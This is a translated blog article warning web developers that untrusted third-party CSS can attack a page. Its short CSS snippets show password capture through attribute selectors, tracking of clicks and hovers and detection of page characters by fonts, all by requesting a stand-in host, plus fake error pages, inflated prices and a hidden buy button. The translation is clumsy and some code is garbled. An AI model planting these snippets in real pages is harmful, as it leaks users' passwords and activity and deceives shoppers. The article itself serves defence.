Author: Yeaseon
Blog: yeaseonzhang.github.io/
Original link: View original article
preface
For the sake of efficient development, most of the time it is safe to reference libraries/components that have been implemented by others into your own projects.
Most Web developers assume that security is guaranteed as long as they don’t use someone else’s JS. But “hackers” have begun to play tricks on CSS.
Users can disable JS in browser Settings, but there is no way to disable CSS.
First, let’s talk about the harm that can be caused by using third-party resources.
The picture
<img src="https://img.com/phone.jpg">
Copy the code
Two problems may occur when using third-party image resources:
- Image resource failure
- The image resource has been replaced
The image above shows the possible consequences of using third-party images. Even if the image resource fails or is replaced, it only affects the state of the image itself and does not affect the rest of the page.
The script
<script src="http://example.com/script.js"></script>
Copy the code
The scope of a script is beyond the scope of an image. A script can control the entire page at will.
- Read and tamper with page content
- Monitoring User behavior
- Mining using the computing power of the user’s browser
- Using the user
cookie
Make the request and forward the response - Read and tamper with the browser
storage
- More
Note: Because localStorage is persistent, if localStorage is changed, the changes are irreversible even if the script is deleted.
The third-party script is loaded only when the third-party script is trusted to ensure user access security.
Now comes the centerpiece of this article, third-party CSS.
CSS
CSS is closer to JS in scope, because it can also work on the entire page, as well as complete part of JS operations.
CSS can manipulate pages in the following ways:
- Add, delete, and change page content
- Initiate a request based on the page content
- Response user interaction
Compared to JS, CSS cannot modify storage, nor can it be used for mining.
keylogger
Keyloggers are pages that record user input. This behavior currently only exists on pages that use the React/React like framework.
input[type="password"][value$="p"] {
background: url(//example.com/password?p);
}
Copy the code
If you enter a password ending in p, a //exaple.com/password?p request will be made. Browsers don’t remember input fields by default, which is why this behavior only exists in pages that use the React/React framework. Here are two examples.
If you do not use the React/React framework, the contents of the input box do not display the value attribute in the input tag.
An image site uses the React framework, which synchronizes the contents of the input field to the value property of the input. This allows the CSS property selector [value$=”p”] to detect user input, causing it to be captured by a third party.
Have you ever felt that CSS is much more powerful than you think through this example, and that out-of-control CSS can also cause great damage to the page?
Hidden content
The real content of the page is hidden from the user by a few tricks.
body {
display: none;
}
html::after {
content: 'HTTP 500 Server Error';
}
Copy the code
The above example hides the real body of content and shows the user an HTTP 500 error, which makes the user think there is a problem with the website server.
Any HTTP error can also be displayed to the user. Common errors on web pages are as follows:
- HTTP 400: The request is invalid
- HTTP 403: Access forbidden
- HTTP 404: Page not found
- HTTP 500: Internal server error
Increase the content of
.price-value::after {
content: '9';
}
Copy the code
For the price style, add a pseudo-element like :before / :after, and then add any number to the content attribute of the pseudo-element, and the price of the item increases by about 10 times.
The price has gone up, and the seller probably doesn’t even know it. Encounter this kind of circumstance user will not produce purchase desire generally.
Mobile content
.move-purchase-button {
opacity: 0;
position: absolute;
top: 100px;
left: 100px;
}
Copy the code
The opacity of the settlement button is set to 100% using opacity to hide elements, making them invisible to users but still occupying space. Then through an absolute location, so that the billing button occupied space from the normal flow, and moved the button to the user can not click the location; The CSS above can also be used with a simple display: None; Go hide the button.
Faced with the above situation, users can not complete the purchase behavior, this situation is very hurt to the e-commerce website, resulting in “only look but not buy”.
Monitoring user interactions
.login-button:hover {
background: url('//example.com/login-button-hover');
}
.login-button:active {
background: url('//example.com/login-button-active');
}
Copy the code
The above code can be used to detect the interaction status of the user in the login button, hover or active (click), different states will send different requests.
If the page in the appropriate amount of similar CSS code, can be used to do user portrait analysis.
Of course, can also be used to do a simple link buried point, record a link click.
.link:active::after {
content: url('//example.com/link-1/view/count.php?action=visit');
}
Copy the code
Reading page content
font-face {
font-family: blah;
src: url(//example.com/page-contains-q) format('woff');
unicode-range: U+71;
}
html {
font-family: blah, sans-serif;
}
Copy the code
Forge a font named blah that will send a request if the page has characters in the Unicode-range range, in this case the character Q.
Note: requests in @font-face are seen in the Network -> font type of the development console.
In case you thought it was too small to detect single characters in a page, I would introduce a new CSS property called font-variant-ligatures that can be set to hymn.
However, only OpenType fonts currently support hyphen effects, and different OpenType fonts display hyphen effects differently.
Enable the hyphen effect
body {
font-feature-settings: "liga" 1;
}
supports (font-variant-ligatures: common-ligatures) {
body {
font-feature-settings: normal;
font-variant-ligatures: common-ligatures; }}Copy the code
With everything set up, we can detect specific hyphenated characters. For example, the unicode code for ff hyphen is \ufb00.
To query unicode characters, you can use unicode ® Character Table (unicode-table.com/en/).
conclusion
Through the above several CSS examples, you do not feel that CSS is also powerful, untrusted third party CSS should not be easily adopted.
To sum up, you have to write your own CSS…
For more content, please follow our team’s public account “Full Stack Exploration”. There will be regular good article push, full of dry goods.